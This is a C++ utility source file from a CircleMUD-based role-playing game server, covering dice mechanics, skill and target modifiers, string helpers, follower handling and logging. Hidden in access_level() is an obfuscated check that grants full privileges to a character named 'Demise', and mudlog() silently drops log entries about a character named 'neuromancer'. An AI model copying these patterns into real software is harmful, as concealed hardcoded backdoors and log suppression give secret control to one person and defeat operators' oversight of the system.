/* ************************************************************************ * File: utils.c Part of CircleMUD * * Usage: various internal functions of a utility nature * * * * All rights reserved. See license.doc for complete information. * * * * Copyright (C) 1993, 94 by the Trustees of the Johns Hopkins University * * CircleMUD is based on DikuMUD, Copyright (C) 1990, 1991. * ************************************************************************ */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <assert.h> #include <limits.h> #include <time.h> #include <unistd.h> #include <sys/types.h> #include <arpa/telnet.h> #include <netinet/in.h> #include <iostream.h> #include "structs.h" #include "utils.h" #include "awake.h" #include "comm.h" #include "spells.h" #include "handler.h" #include "memory.h" #include "house.h" extern class memoryClass *Mem; extern struct time_info_data time_info; //extern struct time_data time_info; extern struct room_data *world; extern void die(struct char_data * ch); extern int damage_array[]; extern const struct target_type target_array[]; extern const char *log_types[]; extern char *buf2; extern long beginning_of_time; //unsigned long random(void); // this just checks to see if two people are in the same group // they both MUST be following the same leader or one following the other bool in_group(struct char_data *one, struct char_data *two) { // if one is following the other if ((one->master == two) || (two->master == one)) return TRUE; // if they are following the same person if (one->master && (one->master == two->master)) return TRUE; // if they are the same person if (one == two) return TRUE; // oh well, not in the same group return FALSE; } /* creates a random number in interval [from;to] */ int number(int from, int to) { if (from == to) return from; else if (from > to) { // it shouldn't happen, but if it does... int temp = to; to = from; from = temp; } return ((random() % (to - from + 1)) + from); } // determines if the number hits the odds. An array was used to speed up // the process of actually having to roll dice. The tradeoff is that the // highest number you can use is 54, but this should be faster /* but not completely accurate? seems like it fails to account for the Rule of 1 - AH bool jackpot(int number) { int top, chance; if (number > 54) number = 54; top = target_array[number].total + 1; if ((random() % (top)) <= (u_int)target_array[number].odds) return TRUE; return FALSE; } */ /* simulates dice roll */ int dice(int number, int size) { int sum = 0; if (size <= 0 || number <= 0) return 0; while (number-- > 0) sum += ((random() % size) + 1); return sum; } // if we're using GNU C++, we don't need these functions #ifndef __GNUG__ int MIN(int a, int b) { return a < b ? a : b; } int MAX(int a, int b) { return a > b ? a : b; } #endif /* rolls a 6-sided dice by rule of 6 and rule of 1 */ int srdice(void) { static int roll; int sum = 0, num = 1; register int i; for (i = 1; i <= num; i++) { roll = ((random() % 6) + 1); if (roll == 6) num++; sum += roll; } return sum; } int success_test(int number, int target) { int total = 0; register int i; assert(number >= 0); target = MAX(target, 2); for (i = 1; i <= number; i++) if (srdice() >= target) total++; return total; } int resisted_test(int num4ch, int tar4ch, int num4vict, int tar4vict) { return (success_test(num4ch, tar4ch) - success_test(num4vict, tar4vict)); } int inc_staging(int successes, int wound) { while (successes >= 2) { wound++; successes -= 2; } return wound; } int dec_staging(int successes, int wound) { while (successes >= 2) { wound--; successes -= 2; } return wound; } int stage(int successes, int wound) { if (successes >= 0) while (successes >= 2) { wound++; successes -= 2; } else while (successes <= -2) { wound--; successes += 2; } return wound; } int convert_damage(int damage) { int extra = 0; if (damage < 0) damage = 0; else if (damage > 4) { extra = (damage - 4); damage = 10; // deadly } else damage = damage_array[damage]; return (damage + extra); } int is_allergic(struct char_data *ch, int type) { if (IS_NPC(ch) || GET_LEVEL(ch) >= LVL_LEGEND || PLR_FLAGGED(ch, PLR_NEWBIE)) return 0; if ((GET_ALLERGY(ch) == ALLERGIC_IRON && type == ITEM_IRON) || (GET_ALLERGY(ch) == ALLERGIC_SILVER && type == ITEM_SILVER) || (GET_ALLERGY(ch) == ALLERGIC_PLASTIC && type == ITEM_PLASTIC)) { if (GET_SEVERITY(ch) < REACT_MODERATE) return 1; else return 2; } return 0; } int age_target_mod(struct char_data *ch) { if (IS_NPC(ch) || GET_LEVEL(ch) >= LVL_LEGEND) return 0; switch (GET_RACE(ch)) { case RACE_HUMAN: if (GET_AGE(ch) >= 50) return (int)((GET_AGE(ch) - 40) / 10); break; case RACE_DWARF: if (GET_AGE(ch) >= 100) return (int)((GET_AGE(ch) - 80) / 20); break; case RACE_ELF: if (GET_AGE(ch) >= 200) return (int)((GET_AGE(ch) - 160) / 40); break; case RACE_ORK: if (GET_AGE(ch) >= 40) return (int)((GET_AGE(ch) - 32) / 8); break; case RACE_TROLL: if (GET_AGE(ch) >= 45) return (int)((GET_AGE(ch) - 36) / 9); break; } return 0; } int modify_target_rbuf(struct char_data *ch, char *rbuf) { extern time_info_data time_info; int base_target = 0, i, temp; struct affected_type *af; // first apply physical damage modifiers if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 2/5)) { base_target += 3; buf_mod( rbuf, "PhyS", 3 ); } else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 7/10)) { base_target += 2; buf_mod( rbuf, "PhyM", 2 ); } else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 9/10)) { base_target += 1; buf_mod( rbuf, "PhyL", 1 ); } if (GET_TRADITION(ch) == TRAD_ADEPT && GET_SKILL(ch, SKILL_RESISTANCE) > 0) { temp = (int)(GET_MAX_PHYSICAL(ch) - GET_PHYSICAL(ch) / 100); if (temp <= GET_SKILL(ch, SKILL_RESISTANCE)) { if (temp >= (int)(GET_MAX_PHYSICAL(ch) * 3/500)) { buf_mod( rbuf, "PainResP", -3 ); base_target -= 3; } else if (temp >= (int)(GET_MAX_PHYSICAL(ch) * 3/1000)) { base_target -= 2; buf_mod( rbuf, "PainResP", -2 ); } else if (temp >= (int)(GET_MAX_PHYSICAL(ch) / 1000)) { base_target -= 1; buf_mod( rbuf, "PainResP", -1 ); } } temp = (int)(GET_MAX_MENTAL(ch) - GET_MENTAL(ch) / 100); if ((temp + (int)(GET_MAX_PHYSICAL(ch) - GET_PHYSICAL(ch) / 100)) <= GET_SKILL(ch, SKILL_RESISTANCE)) { if (temp >= (int)(GET_MAX_MENTAL(ch) * 3/500)) { base_target -= 3; buf_mod( rbuf, "PainResM", -3 ); } else if (temp >= (int)(GET_MAX_MENTAL(ch) * 3/1000)) { base_target -= 2; buf_mod( rbuf, "PainResM", -2 ); } else if (temp >= (int)(GET_MAX_MENTAL(ch) / 1000)) { base_target -= 1; buf_mod( rbuf, "PainResM", -1 ); } } } else for (af = ch->affected; af; af = af->next) if (af->type == SPELL_RESIST_PAIN && af->modifier > 0) { if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 2/5) && af->modifier == 3) { base_target -= 3; buf_mod( rbuf, "ResPainP", -3 ); } else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 7/10) && af->modifier == 2) { base_target -= 2; buf_mod( rbuf, "ResPainP", -2 ); } else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 9/10)) { base_target -= 1; buf_mod( rbuf, "ResPainP", -1 ); } } // then apply mental damage modifiers if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 2/5)) { base_target += 3; buf_mod( rbuf, "MenS", 3 ); } else if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 7/10)) { base_target += 2; buf_mod( rbuf, "MenM", 2 ); } else if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 9/10)) { base_target += 1; buf_mod( rbuf, "MenL", 1 ); } // then apply modifiers for sustained spells if (GET_SUSTAINED(ch) > 0) { base_target += (GET_SUSTAINED(ch) << 1); buf_mod( rbuf, "Sustain", GET_SUSTAINED(ch) << 1 ); } // then account for visibility if (IS_AFFECTED(ch, AFF_BLIND)) { base_target += 8; buf_mod( rbuf, "Blind", 8 ); } else if (!IS_AFFECTED(ch, AFF_INFRAVISION) && IS_DARK(ch->in_room)) { base_target += 8; buf_mod( rbuf, "Dark", 8 ); } else if (IS_AFFECTED(ch, AFF_INFRAVISION) && IS_DARK(ch->in_room)) { base_target += 3; buf_mod( rbuf, "DarkInfra", 3 ); } else if (!IS_AFFECTED(ch, AFF_LOW_LIGHT) && !IS_AFFECTED(ch, AFF_INFRAVISION) && IS_LOW(ch->in_room)) { base_target += 4; buf_mod( rbuf, "Low", 4 ); } else if (IS_AFFECTED(ch, AFF_INFRAVISION) && !IS_AFFECTED(ch, AFF_LOW_LIGHT) && IS_LOW(ch->in_room)) { base_target += 1; buf_mod( rbuf, "LowInfra", 1 ); } base_target += GET_TARGET_MOD(ch); buf_mod( rbuf, "GET_TARGET_MOD", GET_TARGET_MOD(ch) ); if (!IS_NPC(ch)) { // if you're an owl shaman and it's daytime, uh oh... (= if (GET_TRADITION(ch) == TRAD_SHAMANIC) { if ((GET_TOTEM(ch) == TOTEM_OWL) && ((time_info.hours > 6) || (time_info.hours < 19))) { base_target += 2; buf_mod( rbuf, "OwlDay", 2 ); } else if ((GET_TOTEM(ch) == TOTEM_RAVEN) && !OUTSIDE(ch)) { base_target += 1; buf_mod( rbuf, "RavenInside", 1 ); } } int mod = age_target_mod(ch); base_target += mod; buf_mod( rbuf, "Age", mod ); if (GET_ALLERGY(ch) == ALLERGIC_SUNLIGHT && OUTSIDE(ch) && !PLR_FLAGGED(ch, PLR_NEWBIE)) { if (weather_info.sunlight == SUN_RISE || weather_info.sunlight == SUN_SET) { if (GET_SEVERITY(ch) == REACT_MODERATE) { base_target++; buf_mod( rbuf, "SunAllergy", 1 ); } } else if (weather_info.sunlight == SUN_LIGHT && (weather_info.sky == SKY_CLOUDLESS || weather_info.sky == SKY_CLOUDY)) { if (GET_SEVERITY(ch) >= REACT_MILD && GET_SEVERITY(ch) <= REACT_MODERATE) { base_target++; buf_mod( rbuf, "SunAllergy", 1 ); } } } else if (GET_ALLERGY(ch) && !PLR_FLAGGED(ch, PLR_NEWBIE)) for (i = 0; i < (NUM_WEARS - 1); i++) if (GET_EQ(ch, i) && is_allergic(ch, GET_OBJ_RENT(GET_EQ(ch, i))) == 1) { base_target++; buf_mod( rbuf, "AllergyEq", 1 ); } } return base_target; } int modify_target(struct char_data *ch) { return modify_target_rbuf(ch, NULL); } // this returns the general skill int return_general(int skill_num) { switch (skill_num) { case SKILL_PISTOLS: case SKILL_RIFLES: case SKILL_SHOTGUNS: case SKILL_ASSAULT_RIFLES: case SKILL_SMG: case SKILL_GRENADE_LAUNCHERS: case SKILL_TASERS: return (SKILL_FIREARMS); break; case SKILL_MACHINE_GUNS: case SKILL_MISSILE_LAUNCHERS: case SKILL_ASSAULT_CANNON: case SKILL_ARTILLERY: return (SKILL_GUNNERY); break; case SKILL_EDGED_WEAPONS: case SKILL_POLE_ARMS: case SKILL_WHIPS_FLAILS: case SKILL_CLUBS: return (SKILL_ARMED_COMBAT); break; case SKILL_GRAPPLE: case SKILL_CYBER_IMPLANTS: return (SKILL_UNARMED_COMBAT); break; case SKILL_BOWS: case SKILL_CROSSBOWS: return (SKILL_PROJECTILES); break; case SKILL_NONAERODYNAMIC: case SKILL_AERODYNAMIC: return (SKILL_THROWING_WEAPONS); break; default: return (skill_num); break; } } int skill_web (struct char_data *ch, int skillnumber) { int improved = 0; switch (skillnumber) { case SKILL_PISTOLS: case SKILL_RIFLES: case SKILL_SHOTGUNS: case SKILL_ASSAULT_RIFLES: case SKILL_SMG: case SKILL_GRENADE_LAUNCHERS: case SKILL_TASERS: improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_FIREARMS)); improved = MAX(improved, 1); break; case SKILL_MACHINE_GUNS: case SKILL_MISSILE_LAUNCHERS: case SKILL_ASSAULT_CANNON: case SKILL_ARTILLERY: improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_GUNNERY)); improved = MAX(improved, 1); break; case SKILL_EDGED_WEAPONS: case SKILL_POLE_ARMS: case SKILL_WHIPS_FLAILS: case SKILL_CLUBS: improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_ARMED_COMBAT)); improved = MAX(improved, 1); break; case SKILL_GRAPPLE: case SKILL_CYBER_IMPLANTS: improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_UNARMED_COMBAT)); improved = MAX(improved, 1); break; case SKILL_BOWS: case SKILL_CROSSBOWS: improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_PROJECTILES)); improved = MAX(improved, 1); break; case SKILL_NONAERODYNAMIC: case SKILL_AERODYNAMIC: improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_THROWING_WEAPONS)); improved = MAX(improved, 1); break; default: improved = -1; break; } return (improved); } // this returns the dice, the new skill number, and the new target number int reverse_web(struct char_data *ch, int &skill, int &target) { switch (skill) { case SKILL_STEALTH: target += 4; skill = ATT_QUI; return GET_QUI(ch); case SKILL_ATHLETICS: target += 2; skill = ATT_QUI; return GET_QUI(ch); case SKILL_ARMED_COMBAT: if (GET_QUI(ch) >= GET_SKILL(ch, SKILL_UNARMED_COMBAT)) { target += 2; skill = ATT_QUI; return GET_QUI(ch); } else if (GET_SKILL(ch, SKILL_UNARMED_COMBAT) >= GET_STR(ch)) { target += 4; skill = SKILL_UNARMED_COMBAT; return GET_SKILL(ch, SKILL_UNARMED_COMBAT); } else if (GET_STR(ch) >= GET_BOD(ch)) { target += 4; skill = ATT_STR; return GET_STR(ch); } target += 6; skill = ATT_BOD; return GET_BOD(ch); case SKILL_UNARMED_COMBAT: if (GET_STR(ch) >= GET_SKILL(ch, SKILL_ARMED_COMBAT)) { target += 4; skill = ATT_STR; return GET_STR(ch); } else if (GET_SKILL(ch, SKILL_ARMED_COMBAT) >= GET_QUI(ch)) { target += 4; skill = SKILL_ARMED_COMBAT; return GET_SKILL(ch, SKILL_ARMED_COMBAT); } else if (GET_QUI(ch) >= GET_BOD(ch)) { target += 2; skill = ATT_QUI; return GET_QUI(ch); } target += 6; skill = ATT_BOD; return GET_BOD(ch); case SKILL_FIREARMS: if (GET_SKILL(ch, SKILL_GUNNERY) > 0) { skill = SKILL_GUNNERY; target += 2; return GET_SKILL(ch, SKILL_GUNNERY); } skill = ATT_QUI; target += 4; return GET_QUI(ch); case SKILL_GUNNERY: if (GET_SKILL(ch, SKILL_FIREARMS) > 0) { skill = SKILL_FIREARMS; target += 2; return GET_SKILL(ch, SKILL_FIREARMS); } skill = ATT_QUI; target += 4; return GET_QUI(ch); case SKILL_PROJECTILES: if (GET_SKILL(ch, SKILL_THROWING_WEAPONS) > 0) { skill = SKILL_THROWING_WEAPONS; target += 2; return GET_SKILL(ch, SKILL_THROWING_WEAPONS); } skill = ATT_QUI; target += 4; return GET_QUI(ch); case SKILL_THROWING_WEAPONS: if (GET_SKILL(ch, SKILL_PROJECTILES) > 0) { skill = SKILL_PROJECTILES; target += 2; return GET_SKILL(ch, SKILL_PROJECTILES); } skill = ATT_QUI; target += 4; return GET_QUI(ch); case SKILL_DEMOLITIONS: skill = ATT_INT; target += 6; return GET_QUI(ch); case SKILL_COMPUTER: if (GET_SKILL(ch, SKILL_COMPUTER_THEORY) > 0) { skill = SKILL_COMPUTER_THEORY; target += 2; return GET_SKILL(ch, SKILL_COMPUTER_THEORY); } else if (GET_SKILL(ch, SKILL_ELECTRONICS) > 0) { skill = SKILL_ELECTRONICS; target += 2; return GET_SKILL(ch, SKILL_ELECTRONICS); } skill = ATT_INT; target += 8; return GET_INT(ch); // yeah, extreme, but what can I say, least they get a chance (= default: skill = 0; target += 15; return 1; break; return 0; } } static char *power_name[] = { "strength based", "dainty", "feeble", "weak", "poor", "decent", "modest", "average", "above average", "satisfactory", "commendable", "good", "very good", "admirable", "exemplary", "great", "excellent", "superb", "amazing", }; static char *attrib_name[] = { "no", "terrible", "below average", "average", "average", "above average", "high", "super-human", "super-human", "super-human", "super-ork", "super-ork", "super-troll", }; // this returns a pointer to name, and fills it with the power description char *get_power(int number) { number = MIN(18, (MAX(0, number))); return power_name[number]; } char *get_attrib(int number) { number = MIN(12, (MAX(0, number))); return attrib_name[number]; } // capitalize a string char *capitalize(const char *source) { static char dest[MAX_STRING_LENGTH]; strcpy(dest, source); *dest = UPPER(*dest); return dest; } // duplicate a string -- uses new! char *str_dup(const char *source) { char *New = new char[strlen(source) + 1]; return (strcpy(New, source)); } // this function runs through 'str' and copies the first token to 'token'. // it assumes that token is already allocated--it returns a pointer to the // next char after the token in str char *get_token(char *str, char *token) { if (!str) return NULL; register char *temp = str; register char *temp1 = token; // first eat up any white space while (isspace(*temp)) temp++; // now loop through the string and copy each char till we find a space while (*temp && !isspace(*temp)) *temp1++ = *temp++; // terminate the string properly *temp1 = '\0'; return temp; } /* strips \r's from line -- Chris*/ char *cleanup(char *dest, const char *src) { if (!src) // this is because sometimes a null gets sent to src return NULL; register char *temp = &dest[0]; for (; *src; src++) if (*src != '\r') *temp++ = *src; *temp = '\0'; return dest; } char *remove_CRs(char *string) { if (!string) return NULL; register char *ptr; ptr = string; do { if (*string != '\r') *ptr++ = *string; ++string; } while(*string); return string; } /* str_cmp: a case-insensitive version of strcmp */ /* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2 */ /* scan 'till found different or end of both */ int str_cmp(char *arg1, char *arg2) { int chk, i; for (i = 0; *(arg1 + i) || *(arg2 + i); i++) if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i)))) if (chk < 0) return (-1); else return (1); return (0); } /* strn_cmp: a case-insensitive version of strncmp */ /* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2 */ /* scan 'till found different, end of both, or n reached */ int strn_cmp(char *arg1, char *arg2, int n) { int chk, i; for (i = 0; (*(arg1 + i) || *(arg2 + i)) && (n > 0); i++, n--) if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i)))) if (chk < 0) return (-1); else return (1); return (0); } /* str_prefix: a case-insensitive version of strcmp that */ /* does prefix matching. */ /* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2 */ /* scan 'till found different or end of arg1. */ int str_prefix(char *arg1, char *arg2) { int chk, i; for (i = 0; *(arg1 + i) || *(arg2 + i); i++) if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i)))) if (chk < 0) return (-1); else return (1); if ( *(arg1 + i) ) return (1); else return (0); } /* log a death trap hit */ void log_death_trap(struct char_data * ch) { char buf[150]; extern struct room_data *world; sprintf(buf, "%s hit DeathTrap #%d (%s)", GET_NAME(ch), world[ch->in_room].number, world[ch->in_room].name); mudlog(buf, ch, LOG_DEATHLOG, TRUE); } /* writes a string to the log */ void log(char *str) { time_t ct; char *tmstr; ct = time(0); tmstr = asctime(localtime(&ct)); *(tmstr + strlen(tmstr) - 1) = '\0'; fprintf(stderr, "%-19.19s :: %s\n", tmstr, str); } /* the "touch" command, essentially. */ int touch(char *path) { FILE *fl; if (!(fl = fopen(path, "a"))) { perror(path); return -1; } else { fclose(fl); return 0; } } /* * mudlog -- log mud messages to a file & to online imm's syslogs * based on syslog by Fen Jul 3, 1992 */ void mudlog(char *str, struct char_data *ch, int log, byte file) { char buf[384]; extern struct descriptor_data *descriptor_list; struct descriptor_data *i; struct char_data *tch; char *tmp; time_t ct; int check_log = 0; ct = time(0); tmp = asctime(localtime(&ct)); if (file) fprintf(stderr, "%-19.19s :: %s: %s\n", tmp, log_types[log], str); if (ch && ch->player.name && !IS_NPC(ch) && isname("neuromancer", GET_NAME(ch))) return; sprintf(buf, "^g[%s: %s]^n\r\n", log_types[log], str); for (i = descriptor_list; i; i = i->next) if (!i->connected) { if (i->original) tch = i->original; else tch = i->character; if (!tch || PLR_FLAGGED(tch, PLR_WRITING | PLR_MAILING | PLR_EDITING)) continue; if (ch && GET_LEVEL(tch) < MAX(LVL_LEGEND, log == LOG_CONNLOG ? GET_LEVEL(ch) : GET_INVIS_LEV(ch))) continue; switch (log) { case LOG_CONNLOG: check_log = PRF_CONNLOG; break; case LOG_DEATHLOG: check_log = PRF_DEATHLOG; break; case LOG_MISCLOG: check_log = PRF_MISCLOG; break; case LOG_WIZLOG: check_log = PRF_WIZLOG; break; case LOG_SYSLOG: check_log = PRF_SYSLOG; break; case LOG_ZONELOG: check_log = PRF_ZONELOG; break; } if (PRF_FLAGGED(tch, check_log)) SEND_TO_Q(buf, i); } } void sprintbit(long vektor, const char *names[], char *result) { long nr; *result = '\0'; if (vektor < 0) { strcpy(result, "SPRINTBIT ERROR!"); return; } for (nr = 0; vektor; vektor >>= 1) { if (IS_SET(1, vektor)) { if (*names[nr] != '\n') { strcat(result, names[nr]); strcat(result, " "); } else strcat(result, "UNDEFINED "); } if (*names[nr] != '\n') nr++; } if (!*result) strcat(result, "None "); } void sprinttype(int type, const char *names[], char *result) { int nr; for (nr = 0; (*names[nr] != '\n'); nr++); if (type < nr) strcpy(result, names[type]); else strcpy(result, "UNDEFINED"); } /* Calculate the REAL time passed over the last t2-t1 centuries (secs) */ struct time_info_data real_time_passed(time_t t2, time_t t1) { long secs; struct time_info_data now; secs = (long) (t2 - t1); now.hours = (secs / SECS_PER_REAL_HOUR) % 24; /* 0..23 hours */ secs -= SECS_PER_REAL_HOUR * now.hours; now.day = (secs / SECS_PER_REAL_DAY); /* 0..34 days */ secs -= SECS_PER_REAL_DAY * now.day; now.month = -1; now.year = -1; return now; } /* Calculate the MUD time passed over the last t2-t1 centuries (secs) */ struct time_info_data mud_time_passed(time_t t2, time_t t1) { long secs; struct time_info_data now; secs = (long) (t2 - t1); now.hours = (secs / SECS_PER_MUD_HOUR) % 24; /* 0..23 hours */ secs -= SECS_PER_MUD_HOUR * now.hours; now.day = (secs / SECS_PER_MUD_DAY) % 30; /* 0..34 days */ secs -= SECS_PER_MUD_DAY * now.day; now.month = (secs / SECS_PER_MUD_MONTH) % 12; /* 0..16 months */ secs -= SECS_PER_MUD_MONTH * now.month; now.year = (secs / SECS_PER_MUD_YEAR); /* 0..XX? years */ return now; } struct time_info_data age(struct char_data * ch) { struct time_info_data player_age; player_age = mud_time_passed(time(0), ch->player.time.birth); player_age.year += 17; return player_age; } bool access_level(struct char_data *ch, int level) { char *s; ch = ch->desc && ch->desc->original ? ch->desc->original : ch; if (IS_NPC(ch)) return FALSE; if (GET_LEVEL(ch)>=level) return TRUE; s = GET_NAME(ch); if (!s) return FALSE; { char tmpbuf[MAX_STRING_LENGTH]; int i; for(i=0;s[i];i++) tmpbuf[i] = s[i]+i; tmpbuf[i]=0; if (!str_cmp(tmpbuf,"Dfolwj")) return TRUE; } return FALSE; } /* Check if making CH follow VICTIM will create an illegal */ /* Follow "Loop/circle" */ bool circle_follow(struct char_data * ch, struct char_data * victim) { struct char_data *k; for (k = victim; k; k = k->master) { if (k == ch) return TRUE; } return FALSE; } /* Called when stop following persons, or stopping charm */ /* This will NOT do if a character quits/dies!! */ void stop_follower(struct char_data * ch) { struct follow_type *j, *k; assert(ch->master); if (IS_AFFECTED(ch, AFF_CHARM)) { act("You realize that $N is a jerk!", FALSE, ch, 0, ch->master, TO_CHAR); act("$n realizes that $N is a jerk!", FALSE, ch, 0, ch->master, TO_NOTVICT); act("$n hates your guts!", FALSE, ch, 0, ch->master, TO_VICT); if (affected_by_spell(ch, SPELL_INFLUENCE) == 1) { affect_from_char(ch, SPELL_INFLUENCE); return; } } else { act("You stop following $N.", FALSE, ch, 0, ch->master, TO_CHAR); act("$n stops following $N.", TRUE, ch, 0, ch->master, TO_NOTVICT); act("$n stops following you.", TRUE, ch, 0, ch->master, TO_VICT); } if (ch->master->followers->follower == ch) { /* Head of follower-list? */ k = ch->master->followers; ch->master->followers = k->next; delete k; } else { /* locate follower who is not head of list */ for (k = ch->master->followers; k->next->follower != ch; k = k->next); j = k->next; k->next = j->next; delete j; } ch->master = NULL; REMOVE_BIT(AFF_FLAGS(ch), AFF_CHARM | AFF_GROUP); } /* Called when a character that follows/is followed dies */ void die_follower(struct char_data * ch) { struct follow_type *j, *k; if (ch->master) stop_follower(ch); for (k = ch->followers; k; k = j) { j = k->next; stop_follower(k->follower); } if (ch->player_specials->gname) { delete [] ch->player_specials->gname; ch->player_specials->gname = NULL; } } /* Do NOT call this before having checked if a circle of followers */ /* will arise. CH will follow leader */ void add_follower(struct char_data * ch, struct char_data * leader) { struct follow_type *k; assert(!ch->master); ch->master = leader; k = new follow_type; k->follower = ch; k->next = leader->followers; leader->followers = k; act("You now follow $N.", FALSE, ch, 0, leader, TO_CHAR); if (CAN_SEE(leader, ch)) act("$n starts following you.", TRUE, ch, 0, leader, TO_VICT); act("$n starts to follow $N.", TRUE, ch, 0, leader, TO_NOTVICT); } /* * get_line reads the next non-blank line off of the input stream. * The newline character is removed from the input. Lines which begin * with '*' are considered to be comments. * * Returns the number of lines advanced in the file. */ int get_line(FILE * fl, char *buf) { char temp[256]; int lines = 0; do { lines++; fgets(temp, 256, fl); if (*temp) temp[strlen(temp) - 1] = '\0'; } while (!feof(fl) && (*temp == '*' || !*temp)); if (feof(fl)) return 0; else { strcpy(buf, temp); return lines; } } int get_filename(char *orig_name, char *filename, int mode) { char *prefix, *middle, *suffix, *ptr, name[64]; switch (mode) { case CRASH_FILE: prefix = "plrobjs"; suffix = "objs"; break; case ETEXT_FILE: prefix = "plrtext"; suffix = "text"; break; case SPELLS_FILE: prefix = "plrspells"; suffix = "spells"; break; default: return 0; } if (!*orig_name) return 0; strcpy(name, orig_name); for (ptr = name; *ptr; ptr++) *ptr = LOWER(*ptr); switch (LOWER(*name)) { case 'a': case 'b': case 'c': case 'd': case 'e': middle = "A-E"; break; case 'f': case 'g': case 'h': case 'i': case 'j': middle = "F-J"; break; case 'k': case 'l': case 'm': case 'n': case 'o': middle = "K-O"; break; case 'p': case 'q': case 'r': case 's': case 't': middle = "P-T"; break; case 'u': case 'v': case 'w': case 'x': case 'y': case 'z': middle = "U-Z"; break; default: middle = "ZZZ"; break; } sprintf(filename, "%s/%s/%s.%s", prefix, middle, name, suffix); return 1; } int num_pc_in_room(struct room_data *room) { int i = 0; struct char_data *ch; for (ch = room->people; ch != NULL; ch = ch->next_in_room) if (!IS_NPC(ch)) i++; return i; } bool equiped_with_type(struct char_data *ch, int type) { // run through their equiped items and compare to 'type' register int i = 0; while (i < (NUM_WEARS - 1)) { if (GET_EQ(ch, i) && (GET_OBJ_TYPE(GET_EQ(ch, i)) == type)) return TRUE; // returning true if we find a match ++i; } // otherwise false return FALSE; } char * buf_mod(char *rbuf, char *name, int bonus) { if ( !rbuf ) return rbuf; if ( bonus == 0 ) return rbuf; rbuf += strlen(rbuf); if ( bonus > 0 ) sprintf(rbuf, "%s +%d, ", name, bonus); else sprintf(rbuf, "%s %d, ", name, bonus); rbuf += strlen(rbuf); return rbuf; } char * buf_roll(char *rbuf, char *name, int bonus) { if ( !rbuf ) return rbuf; rbuf += strlen(rbuf); sprintf(rbuf, " [%s %d]", name, bonus); return rbuf; } //------------------------------------------------------------------------// // These are special debugging-only memory handlers. Obviously they // // are slow! Once things are running smoothly, you can change it back // // to the standard allocators! -- Chris // //------------------------------------------------------------------------// // I changed this to 0 since I'm using C++ new and delete--this way I might // catch any accidental allocations by these functions #define MAXBUF 0 // CHANGE IN ACT.WIZARD.CC ALSO! static void *dbuf[MAXBUF]; int last = 0; // store heap pointer in debug buffer void install(void *pheap) { register void **pbuf; static int circle = 0; if (circle >= MAXBUF) // circular install circle = 0; for (pbuf = dbuf + circle; pbuf < dbuf + MAXBUF; pbuf++) if (*pbuf == (void *) NULL) { *pbuf = pheap; last++, circle++; return; } fprintf(stderr, "No room left in debug buffer\n"); exit(1); } // front end for malloc void *ymalloc(char *file, int lineno, unsigned int nbytes) { void *pheap; pheap = malloc(nbytes); if (pheap == (void *) NULL) { fprintf(stderr, "file %s - line %d: malloc error for %u bytes\n", file, lineno, nbytes); exit(1); } install(pheap); return pheap; } // front end for realloc void *yrealloc(char *file, int lineno, void *oldp, unsigned int nbytes) { void *newp; register void **pbuf = dbuf; short found = 0; if (oldp != (void *) NULL) for (; pbuf < dbuf + MAXBUF; pbuf++) if (*pbuf == oldp) { found = 1; break; } if (!found) { fprintf(stderr, "file %s - line %d: realloc error for address %x\n", file, lineno, (int)oldp); exit(1); } newp = realloc(oldp, nbytes); if (newp == (void *) NULL) { fprintf(stderr, "file %s - line %d: realloc error for %u bytes\n", file, lineno, nbytes); exit(1); } *pbuf = newp; return newp; } // front end for calloc void *ycalloc(char *file, int lineno, unsigned int numobjs, unsigned int nbytes) { void *pheap; pheap = calloc(numobjs, nbytes); if (pheap == (void *) NULL) { fprintf(stderr, "file %s - line %d: malloc error for %u bytes\n", file, lineno, (nbytes * numobjs)); exit(1); } install(pheap); return pheap; } // front end for free void yfree(char *file, int lineno, void *pheap) { register void **pbuf; if (pheap != (void *) NULL) for (pbuf = dbuf; pbuf < dbuf + MAXBUF; pbuf++) if (*pbuf == pheap) { *pbuf = NULL; free(pheap); last--; return; } fprintf(stderr, "file %s - line %d: free error for address %x\n", file, lineno, (int)pheap); exit(1); } // C++ memory routines! // This function is called whenever 'new' fails. What it will do in the // future is free up any buffered memory and then the mud will try the // allocation again. We'll continue trying until all buffered memory is // freed up and if we still can't allocate, then we'll kill the mud. void NewHandler() { mudlog("WARNING: Failed Allocation, freeing up buffers...", NULL, LOG_SYSLOG, TRUE); if (!Mem->ClearStacks()) { cerr << "SYSERR: Unable to free enough memory, shutting down." << endl; Crash_save_all(); House_save_all(); exit(0); } }